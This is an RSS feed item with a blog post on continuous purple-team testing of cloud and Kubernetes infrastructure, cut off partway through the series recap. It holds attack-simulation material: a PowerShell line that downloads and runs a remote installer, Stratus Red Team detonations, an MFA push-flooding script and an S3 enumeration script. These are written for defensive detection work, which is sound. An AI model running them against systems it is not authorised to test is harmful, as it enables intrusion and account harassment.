<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cloud Security Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/cloud-security/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/cloud-security/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Tue, 07 Jul 2026 03:13:32 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>Cloud Security Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/cloud-security/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure</title>
		<link>https://linuxcent.com/continuous-purple-team-testing-infrastructure/</link>
					<comments>https://linuxcent.com/continuous-purple-team-testing-infrastructure/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 10 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Attack Simulation]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Detection Engineering]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Security Testing]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1879</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span>Continuous purple team testing cuts detection time exercise-over-exercise. How to run structured attack simulations against your own cloud and Kubernetes environment every quarter.</p>
<p>The post <a href="https://linuxcent.com/continuous-purple-team-testing-infrastructure/">Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What Is Purple Team?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 in the Cloud</a> → <a href="/cloud-security-breaches-2020-2025/">Breach Landscape 2020–2025</a> → <a href="/broken-access-control-aws-cloud/">Broken Access Control</a> → <a href="/mfa-fatigue-attack-uber-okta/">MFA Fatigue</a> → <a href="/cicd-secrets-exposure-pipeline/">CI/CD Secrets</a> → <a href="/ssrf-cloud-metadata-imdsv1-capital-one/">SSRF to IMDS</a> → <a href="/kubernetes-container-escape-attack-paths/">Container Escape</a> → <a href="/supply-chain-attack-detection-solarwinds-xz/">Supply Chain Attacks</a> → <a href="/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement</a> → <a href="/detection-engineering-ebpf-kernel-visibility/">Detection Engineering with eBPF</a> → <a href="/cloud-incident-response-playbook-24-hours/">Cloud IR Playbook</a> → <strong>Continuous Purple Team Testing</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Continuous purple team testing infrastructure</strong> is the practice of running structured attack simulations against your own environment on a quarterly cadence — not as an annual audit, but as an operational discipline</li>
<li>Detection time drops exercise-over-exercise when the same technique is simulated repeatedly: the same cross-account <code class="" data-line="">AssumeRole</code> technique that took 4 hours to detect in Q4 took 8 minutes by Q2 the following year</li>
<li>The toolchain is open source: Atomic Red Team (ATT&amp;CK-mapped) for host-level techniques, Stratus Red Team for cloud-native attack simulations, and custom scripts for what neither covers</li>
<li>The debrief template — not the tool — is what turns a simulation into a detection improvement; document what fired, what didn&#8217;t, and why before closing the exercise</li>
<li>Mean time to detect (MTTD) per technique is the only metric that tells you whether the program is working</li>
<li>Frequency of simulation is the independent variable; better tooling and more headcount are not — how often you practice determines how fast you detect</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> Cross-cutting — this episode validates defenses against every OWASP Top 10 category covered in this series. EP04 (A01 Broken Access Control), EP05 (A07 Auth Failures), EP06 (A08 Software Integrity), EP07 (A10 SSRF), EP08 (A05 Misconfiguration), EP09 (A06 Vulnerable Components), EP10 (A01 lateral movement), EP11 (A09 Monitoring Failures). Continuous purple team testing is how you verify your fixes for all of them actually hold under simulation.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│              QUARTERLY PURPLE TEAM CYCLE                            │
│                                                                     │
│    ┌─────────┐    ┌──────────┐    ┌──────────┐    ┌─────────────┐  │
│    │  PLAN   │───&#x25b6;│ SIMULATE │───&#x25b6;│  DETECT  │───&#x25b6;│   DEBRIEF   │  │
│    │         │    │          │    │  (or miss)│    │             │  │
│    │ • Scope │    │ Red runs │    │           │    │ What fired? │  │
│    │ • Safety│    │ technique│    │ Blue logs │    │ What didn&#039;t?│  │
│    │ • Week 1│    │ • Week 2 │    │ results   │    │ • Week 3    │  │
│    └─────────┘    └──────────┘    └──────────┘    └──────┬──────┘  │
│                                                           │         │
│         ┌─────────────────────────────────────────────────┘         │
│         │                                                           │
│         ▼                                                           │
│    ┌─────────┐    ┌──────────┐                                      │
│    │   FIX   │───&#x25b6;│  REPEAT  │&#x25c0;──── same technique, updated rules  │
│    │         │    │          │                                      │
│    │ • Rules │    │ Does it  │                                      │
│    │ • Config│    │ catch it │                                      │
│    │ • Week 4│    │ now?     │                                      │
│    └─────────┘    └──────────┘                                      │
│                                                                     │
│    OUTCOME: MTTD drops exercise-over-exercise                       │
│    When MTTD &lt; 10 min: retire technique, rotate in the next one     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>Continuous <strong>purple team testing infrastructure</strong> is not a tool you buy or a team you staff. It is a cadence — the same attack path, run repeatedly against your own environment, until detection time drops to a point where the attacker has no useful dwell time.</p>
<hr />
<h2 id="from-ep01-to-ep13-the-arc">From EP01 to EP13: The Arc</h2>
<p>In EP01, I described a red team engagement where the blue team took 11 days to detect a compromise. The red team used real techniques. The blue team had all the relevant logs. The detection logic just wasn&#8217;t tuned to the specific patterns in this specific environment.</p>
<p>That was the same environment, the same attacker playbook, and the same blue team I am about to describe.</p>
<p>Six months later, same scope. Same techniques. The blue team detected in 22 minutes.</p>
<p>Not because they hired anyone new. Not because they switched SIEMs. Not because they bought a new detection product. Because in the intervening six months, they ran four purple team exercises — one per quarter — using the techniques from the first engagement as the test backlog.</p>
<p>Exercise 1: 11 days → 4 hours. Detection rule didn&#8217;t exist. Wrote it on the spot during debrief.</p>
<p>Exercise 2: 4 hours → 47 minutes. Rule existed but had a misconfigured threshold that generated false negatives. Fixed during debrief.</p>
<p>Exercise 3: 47 minutes → 38 minutes. Marginal improvement — the technique was becoming well-detected. Rotated in a new technique.</p>
<p>Exercise 4 (new technique): baseline 4+ hours. Same cycle begins.</p>
<p>The number 22 minutes — which is where the original technique sits now — is not a product of better tooling. It is the product of running the simulation four times and fixing the gap found each time.</p>
<p>That is the arc of this series. EP01 defined the practice. EP02 through EP12 gave you the attack backlog. EP13 gives you the program to run them.</p>
<hr />
<h2 id="building-the-exercise-program">Building the Exercise Program</h2>
<h3 id="cadence-the-three-loops">Cadence: The Three Loops</h3>
<p>Most organizations treat purple team as an event. An annual penetration test reframed as &#8220;collaborative.&#8221; One event per year produces one point of data. One point of data is not a trend.</p>
<p>The program that actually moves MTTD operates in three nested loops:</p>
<p><strong>Quarterly exercises</strong> — full simulations with red executing and blue observing. Four per year minimum. Each exercise covers one attack path end-to-end, with timestamps, debrief, and detection rule updates. This is the primary loop.</p>
<p><strong>Monthly tabletop drills</strong> — no infrastructure required. Two hours. Pull one technique from the backlog, walk through it verbally: &#8220;Where would this show up in our logs? What would the CloudTrail event look like? Do we have a rule? What&#8217;s the threshold?&#8221; No simulation, just shared mental model. Catches drift in detection logic before the quarterly exercise finds it the hard way.</p>
<p><strong>Weekly detection rule reviews</strong> — 15-minute async. Run the detection queries that should fire for your most recent exercises. Do they still return results? Rules that worked in October can silently stop working in January when a Terraform apply changes a logging configuration or a GuardDuty region setting drifts. Drift happens without review.</p>
<p>The quarterly exercise is the load-bearing loop. Monthly tabletops and weekly reviews keep it from regressing between exercises.</p>
<h3 id="the-four-week-exercise-structure">The Four-Week Exercise Structure</h3>
<p>Each quarterly exercise follows the same four-week structure. Deviating from it is how exercises turn into ad hoc sessions with no durable output.</p>
<pre><code class="" data-line="">Week 1: Scope Agreement
──────────────────────
□ Which attack path from this series are we testing?
□ Which systems are in scope (account IDs, namespaces, node names)?
□ Circuit breaker: who can call off the exercise and how?
  (One named person. A Slack DM or phone call — not a ticket.)
□ Safety controls: are test accounts isolated from prod data paths?
□ Notification: who needs to know this is happening?
  (Cloud provider account team if large-scale, internal leadership)
□ Pre-exercise baseline: run detection queries now and record results


Week 2: Red Executes, Blue Observes
────────────────────────────────────
□ Red team runs the technique — with the actual tool and actual commands
□ Blue team is watching the SIEM / CloudTrail / Falco / GuardDuty
  in real time during execution
□ Both sides timestamp everything:
  [HH:MM] Technique started
  [HH:MM] First observable artifact (log entry, network event)
  [HH:MM] Alert fired (or: no alert)
  [HH:MM] Blue team acknowledged
□ Do NOT wait until the end to compare notes — call out gaps in real time


Week 3: Debrief and Rule Update
────────────────────────────────
□ Walk through the timeline together — not red presenting to blue
□ For each gap: what data existed? why didn&#039;t the rule fire?
  (Data existed + rule wrong: fix the rule)
  (Data existed + rule missing: write the rule)
  (Data didn&#039;t exist: fix the logging configuration)
□ Write or update detection rules during the debrief — not as a follow-up ticket
□ Update the runbook: what does the analyst do when this alert fires?
□ Commit all rule changes to version control before the debrief ends


Week 4: Re-Run and Verify
──────────────────────────
□ Red runs the same technique again — no changes to the attack
□ Does the updated detection catch it?
□ Record new MTTD
□ If yes: mark technique as covered, add to retirement queue when MTTD &lt; 10 min
□ If no: iterate — another week of rule work, another re-run
□ Set date and technique for next quarter&#039;s exercise
</code></pre>
<p>The re-run in Week 4 is not optional. A detection rule written during a debrief and never verified against the actual technique may be logically correct and syntactically wrong, or may fire on a slightly different variant. You don&#8217;t know until you run the attack again.</p>
<h3 id="the-10-attack-rotation-from-this-series">The 10-Attack Rotation from This Series</h3>
<p>The techniques in this table are the exercise backlog built across EP04–EP12. Run them in order — or reorder based on your current threat model. The MTTD column is blank until you run the exercise and fill it in.</p>
<table>
<thead>
<tr>
<th>Quarter</th>
<th>Attack Path</th>
<th>Source Episode</th>
<th>MTTD (Baseline)</th>
<th>MTTD (After Exercise)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Q1 2026</td>
<td>SSRF to EC2 IMDS (IMDSv2 enforcement check)</td>
<td>EP07</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q2 2026</td>
<td>MFA fatigue simulation against test account</td>
<td>EP05</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q3 2026</td>
<td>Container escape via <code class="" data-line="">--privileged</code> pod</td>
<td>EP08</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q4 2026</td>
<td>Cross-account <code class="" data-line="">sts:AssumeRole</code> lateral movement</td>
<td>EP10</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q1 2027</td>
<td>CI/CD secrets exposure via environment variable leak</td>
<td>EP06</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q2 2027</td>
<td>S3 public access misconfiguration (broken access control)</td>
<td>EP04</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q3 2027</td>
<td>Supply chain: unsigned artifact injection into pipeline</td>
<td>EP09</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q4 2027</td>
<td>eBPF-visible process anomaly (persistence via cron)</td>
<td>EP11</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q1 2028</td>
<td>CloudTrail disable + GuardDuty suppression</td>
<td>EP12</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q2 2028</td>
<td>Full path: SSRF → IMDS → AssumeRole → S3 exfil</td>
<td>EP07 + EP10</td>
<td>—</td>
<td>—</td>
</tr>
</tbody>
</table>
<p>Fill in the MTTD columns as you run. That table, populated over two years, is your program&#8217;s evidence of improvement. It is also what you show an auditor, a CISO, or a board when asked &#8220;how do you know your security controls work?&#8221;</p>
<hr />
<h2 id="the-toolchain">The Toolchain</h2>
<h3 id="atomic-red-team-attck-mapped-host-techniques">Atomic Red Team (ATT&amp;CK-Mapped Host Techniques)</h3>
<p><a href="https://github.com/redcanaryco/atomic-red-team">Atomic Red Team</a> is Red Canary&#8217;s library of ATT&amp;CK-mapped attack simulations. Each atomic test maps to a specific MITRE technique, lists the required permissions, and runs as a self-contained script. The library covers over 900 techniques across Linux, macOS, and Windows.</p>
<pre><code class="" data-line="">pwsh -Command &quot;Install-Module -Name invoke-atomicredteam -Scope CurrentUser -Force&quot;

# Install the Atomics folder (the actual test library)
pwsh -Command &quot;Invoke-Expression (IWR &#039;https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1&#039; -UseBasicParsing)&quot;

# List all techniques available for Linux
pwsh -Command &quot;Invoke-AtomicTest All -ShowDetailsBrief -OS linux&quot;

# Inspect a specific technique before running (T1078: Valid Accounts)
pwsh -Command &quot;Invoke-AtomicTest T1078 -ShowDetails&quot;

# Run test #1 for T1078 (shows what commands execute — dry run first)
pwsh -Command &quot;Invoke-AtomicTest T1078 -TestNumbers 1 -CheckPrereqs&quot;

# Execute the test
pwsh -Command &quot;Invoke-AtomicTest T1078 -TestNumbers 1&quot;

# Clean up after the test
pwsh -Command &quot;Invoke-AtomicTest T1078 -TestNumbers 1 -Cleanup&quot;
</code></pre>
<p>For the exercises in this series, the most relevant atomic techniques are:</p>
<table>
<thead>
<tr>
<th>MITRE Technique</th>
<th>ID</th>
<th>Covers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td>T1078</td>
<td>EP05 (credential reuse)</td>
</tr>
<tr>
<td>Cloud Instance Metadata API</td>
<td>T1552.005</td>
<td>EP07 (IMDS access)</td>
</tr>
<tr>
<td>Container Administration Command</td>
<td>T1609</td>
<td>EP08 (exec into container)</td>
</tr>
<tr>
<td>Steal Application Access Token</td>
<td>T1528</td>
<td>EP06 (CI/CD token theft)</td>
</tr>
<tr>
<td>Account Discovery</td>
<td>T1087.004</td>
<td>EP04, EP10 (IAM enumeration)</td>
</tr>
</tbody>
</table>
<h3 id="stratus-red-team-cloud-native-attack-simulations">Stratus Red Team (Cloud-Native Attack Simulations)</h3>
<p><a href="https://github.com/DataDog/stratus-red-team">Stratus Red Team</a> is DataDog&#8217;s cloud-specific attack simulation framework. Unlike Atomic Red Team (which focuses on host techniques), Stratus covers AWS, GCP, Azure, and Kubernetes attack paths using the actual cloud APIs — the same calls an attacker would make.</p>
<pre><code class="" data-line=""># Install (requires Go 1.21+)
go install github.com/DataDog/stratus-red-team/v2/cmd/stratus@latest

# Verify
stratus version

# List all available techniques
stratus list

# List AWS-specific techniques only
stratus list --platform aws

# List Kubernetes techniques
stratus list --platform kubernetes

# Get details on a specific technique before running
stratus show aws.credential-access.ec2-get-user-data
</code></pre>
<p>The workflow for each Stratus technique is: warm up (provision prerequisites) → detonate (execute the attack) → cleanup (remove artifacts). Never skip cleanup.</p>
<pre><code class="" data-line=""># EP07 exercise: SSRF to IMDS credential access simulation
# Warm up (provisions a test EC2 instance)
stratus warmup aws.credential-access.ec2-get-user-data

# Detonate: simulates accessing EC2 user data to extract credentials
stratus detonate aws.credential-access.ec2-get-user-data

# At this point: check CloudTrail for GetUserData events
# Check GuardDuty for credential access findings
# Record whether your detection fired and when

# Cleanup (terminates the test instance)
stratus cleanup aws.credential-access.ec2-get-user-data
</code></pre>
<pre><code class="" data-line=""># EP10 exercise: cross-account role assumption
stratus warmup aws.lateral-movement.ec2-instance-connect
stratus detonate aws.lateral-movement.ec2-instance-connect

# Detection check: look for AssumeRole events from unexpected principals
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time $(date -d &#039;1 hour ago&#039; -u +%Y-%m-%dT%H:%M:%SZ) \
  --query &#039;Events[].{Time:EventTime,User:Username,Source:SourceIPAddress}&#039; \
  --output table

stratus cleanup aws.lateral-movement.ec2-instance-connect
</code></pre>
<pre><code class="" data-line=""># EP08 exercise: Kubernetes container escape simulation
stratus warmup k8s.privilege-escalation.privileged-pod
stratus detonate k8s.privilege-escalation.privileged-pod

# Detection check: Falco should fire container_escape_detection
# Check kubectl audit logs for privileged pod creation
kubectl get events --field-selector reason=Created -A | grep -i privileged

stratus cleanup k8s.privilege-escalation.privileged-pod
</code></pre>
<p>The full Stratus technique list as of this writing covers 50+ AWS techniques and 10+ Kubernetes techniques. Run <code class="" data-line="">stratus list</code> after installing to see what&#8217;s current — the library is actively maintained and new techniques are added when new attack patterns emerge in the wild.</p>
<h3 id="building-custom-simulation-scripts">Building Custom Simulation Scripts</h3>
<p>Atomic Red Team and Stratus don&#8217;t cover everything. MFA fatigue in particular requires tooling specific to your identity provider. Build simple, focused scripts for the gaps.</p>
<pre><code class="" data-line="">#!/bin/bash
# simulate-mfa-fatigue.sh
# Simulates an MFA fatigue attack by triggering repeated push notifications
# to a test account. Run ONLY against a designated test user — never a real
# employee account. The test account should have MFA enabled but no access
# to any production systems.
#
# Usage: ./simulate-mfa-fatigue.sh &lt;test-user-email&gt; &lt;idp-test-api-endpoint&gt;
# Example: ./simulate-mfa-fatigue.sh test-mfa@yourorg.com https://idp.internal/test/push

TEST_USER=&quot;${1:-test-mfa-fatigue@yourorg.com}&quot;
IDP_ENDPOINT=&quot;${2:-}&quot;
PUSH_COUNT=10
PUSH_INTERVAL=30  # seconds between pushes

if [ -z &quot;$IDP_ENDPOINT&quot; ]; then
  echo &quot;ERROR: IDP test API endpoint required as second argument&quot;
  exit 1
fi

echo &quot;MFA fatigue simulation&quot;
echo &quot;Target user: $TEST_USER&quot;
echo &quot;Push count: $PUSH_COUNT&quot;
echo &quot;Interval: ${PUSH_INTERVAL}s&quot;
echo &quot;&quot;
echo &quot;Blue team: watch for repeated MFA push events in your IdP logs&quot;
echo &quot;Detection signal: &gt;3 push requests to the same user within 5 minutes&quot;
echo &quot;&quot;

START_TIME=$(date -u +%Y-%m-%dT%H:%M:%SZ)
echo &quot;[$(date -u +%H:%M:%S)] Simulation started — timestamp this for your debrief&quot;

for i in $(seq 1 $PUSH_COUNT); do
  echo &quot;[$(date -u +%H:%M:%S)] Sending push request $i of $PUSH_COUNT...&quot;

  # Trigger push via your IdP&#039;s test/simulation API
  # Okta example: POST /api/v1/authn/factors/{factorId}/verify
  # Replace with your IdP&#039;s actual test endpoint
  HTTP_STATUS=$(curl -s -o /dev/null -w &quot;%{http_code}&quot; \
    -X POST &quot;$IDP_ENDPOINT&quot; \
    -H &quot;Content-Type: application/json&quot; \
    -d &quot;{\&quot;username\&quot;: \&quot;$TEST_USER\&quot;, \&quot;factor\&quot;: \&quot;push\&quot;, \&quot;simulation\&quot;: true}&quot;)

  echo &quot;    Response: HTTP $HTTP_STATUS&quot;

  if [ &quot;$i&quot; -lt &quot;$PUSH_COUNT&quot; ]; then
    sleep &quot;$PUSH_INTERVAL&quot;
  fi
done

END_TIME=$(date -u +%Y-%m-%dT%H:%M:%SZ)
echo &quot;&quot;
echo &quot;[$(date -u +%H:%M:%S)] Simulation complete&quot;
echo &quot;Start: $START_TIME&quot;
echo &quot;End:   $END_TIME&quot;
echo &quot;&quot;
echo &quot;Blue team: check IdP logs for push events in this window&quot;
echo &quot;Expected detection: alert on &gt;3 MFA pushes to single user in 5 min&quot;
</code></pre>
<pre><code class="" data-line="">#!/bin/bash
# simulate-s3-enum.sh
# Simulates the access pattern of an attacker enumerating S3 buckets
# after obtaining IAM credentials. Run in a test AWS account only.
# Purpose: verify CloudTrail ListBuckets and GetBucketAcl events fire
# and that your detection rule catches credential-based enumeration.

echo &quot;[$(date -u +%H:%M:%S)] S3 enumeration simulation starting&quot;
echo &quot;Blue team: watch CloudTrail for ListBuckets from unexpected IAM principal&quot;

# Enumerate buckets
echo &quot;[$(date -u +%H:%M:%S)] ListBuckets...&quot;
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text

# Attempt to read bucket ACLs (generates GetBucketAcl events)
echo &quot;[$(date -u +%H:%M:%S)] Checking ACLs...&quot;
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read -r bucket; do
    aws s3api get-bucket-acl --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.Grants[].Grantee | select(.URI != null) | .URI&#039; | \
      grep -q &quot;AllUsers&quot; &amp;&amp; echo &quot;PUBLIC ACL: $bucket&quot;
  done

echo &quot;[$(date -u +%H:%M:%S)] Enumeration complete — check CloudTrail now&quot;
</code></pre>
<p>The pattern for custom scripts: timestamp every action, print what the blue team should be watching for, clean up after execution. A simulation script that leaves test resources running is how exercises create incidents instead of preventing them.</p>
<hr />
<h2 id="measuring-progress">Measuring Progress</h2>
<p>The metric that matters is MTTD per technique, tracked over time. Everything else — alert count, tool coverage, headcount — is a proxy.</p>
<pre><code class="" data-line="">MTTD tracking table: Cross-Account AssumeRole (EP10)
─────────────────────────────────────────────────────
Exercise   Date      Technique              MTTD      Notes
─────────────────────────────────────────────────────
Q4 2025    Oct 12    Cross-acct AssumeRole  4 hours   No detection rule existed
Q1 2026    Jan 18    Cross-acct AssumeRole  45 min    Rule written, threshold wrong
Q2 2026    Apr 5     Cross-acct AssumeRole  8 min     Threshold fixed, alert configured
─────────────────────────────────────────────────────
Status: MTTD &lt; 10 min achieved — technique retired from rotation
Next: Rotate in CI/CD secrets exposure (EP06)
</code></pre>
<p>When MTTD falls below 10 minutes for a technique, retire it from the quarterly rotation. Add it to a &#8220;verified coverage&#8221; list. Run it annually to confirm the detection hasn&#8217;t regressed. Rotate a new technique from the backlog into the quarterly slot.</p>
<p>Ten minutes is the threshold because below that, an attacker executing this technique in your environment has less dwell time than it takes them to pivot to the next stage. It&#8217;s not a hard security boundary — it is a practical operational signal that the technique is well-detected enough to stop driving your exercise cadence.</p>
<p>Track coverage at the series level:</p>
<pre><code class="" data-line=""># Create a coverage tracking file
cat &gt; ~/purple-team-coverage.txt &lt;&lt; &#039;EOF&#039;
Technique                      Episode  Status          MTTD
──────────────────────────────────────────────────────────────
S3 public access (broken ACL)  EP04     Not started     —
MFA fatigue                    EP05     Not started     —
CI/CD secrets (env var leak)   EP06     Not started     —
SSRF to IMDS                   EP07     Not started     —
Container escape (privileged)  EP08     Not started     —
Supply chain (unsigned build)  EP09     Not started     —
Cross-account AssumeRole       EP10     Not started     —
Process anomaly (eBPF-visible) EP11     Not started     —
CloudTrail disable             EP12     Not started     —
Full chain (EP07 + EP10)       EP07+10  Not started     —
EOF
</code></pre>
<p>Update the status column after each exercise. &#8220;Not started&#8221; → &#8220;In rotation&#8221; → &#8220;MTTD: X min&#8221; → &#8220;Retired (&lt; 10 min)&#8221;. That file, kept in version control, is the program&#8217;s durable record.</p>
<hr />
<h2 id="the-debrief-template">The Debrief Template</h2>
<p>The debrief is where the detection improvement happens. Without structure, debriefs turn into post-mortems that produce action items nobody closes. Use this template — fill it out during the debrief, not after.</p>
<pre><code class="" data-line=""># Purple Team Exercise Debrief

Exercise:      [name, e.g. &quot;SSRF to IMDS — Q1 2026&quot;]
Date:          [YYYY-MM-DD]
Attack path:   [from which EP, e.g. &quot;EP07: SSRF to Cloud Metadata&quot;]
Participants:  [red team members] / [blue team members]

## Timeline

| Time (UTC) | Event |
|------------|-------|
| HH:MM      | Attack started |
| HH:MM      | First observable artifact (specify: log entry / network event / process spawn) |
| HH:MM      | Alert fired in [tool] — or: no alert |
| HH:MM      | Blue team acknowledged |
| HH:MM      | Exercise concluded |

MTTD this exercise: [X hours / Y minutes / not detected]

## What Fired

- [Tool]: [Alert name / rule name] — fired at [HH:MM], [latency] after attack started
- [Tool]: [Alert name] — fired at [HH:MM]

## What Should Have Fired and Didn&#039;t

- [Expected detection] — root cause: [rule missing / rule wrong / data missing / log not ingested]
- [Expected detection] — root cause: [...]

## Root Cause of Gaps

1. [Gap 1]: [Why the detection didn&#039;t exist or didn&#039;t work — be specific]
2. [Gap 2]: [...]

## Actions

- [ ] Write detection rule for [gap] — owner: [name] — due: [date]
- [ ] Update runbook [X] to include response steps for [alert] — owner: [name]
- [ ] Fix configuration: [Y] — owner: [name] — due: [date]
- [ ] Commit all rule changes to [repo/path] — owner: [name] — due: today

## Re-Run Result (Week 4)

Date:          [YYYY-MM-DD]
MTTD:          [X minutes]
Detection:     [fired / did not fire]
Notes:         [what changed, what&#039;s still open]

## Next Exercise

Date:          [target quarter start]
Technique:     [from backlog]
Source:        [EP number]
</code></pre>
<p>The most important line in this template is &#8220;due: today&#8221; for committing rule changes to version control. Detection improvements that live only in the SIEM&#8217;s web UI get overwritten by the next infrastructure apply or the next policy sync. They disappear without a trace, and the next exercise finds the same gap again.</p>
<hr />
<h2 id="series-closer-what-this-series-taught">Series Closer: What This Series Taught</h2>
<p>Looking back across all 13 episodes:</p>
<ul>
<li><strong>EP01</strong> — Purple team is a practice, not a team. Red executes, blue observes, both debrief together.</li>
<li><strong>EP02</strong> — OWASP Top 10 applies to infrastructure. Every category has a cloud-native equivalent.</li>
<li><strong>EP03</strong> — The 2020–2025 breach landscape is three themes: identity, supply chain, misconfiguration.</li>
<li><strong>EP04</strong> — Broken access control is the most common failure. IAM wildcards and public S3 buckets are the infrastructure form.</li>
<li><strong>EP05</strong> — MFA fatigue exploits push-based MFA UX. The fix is hardware keys — not training.</li>
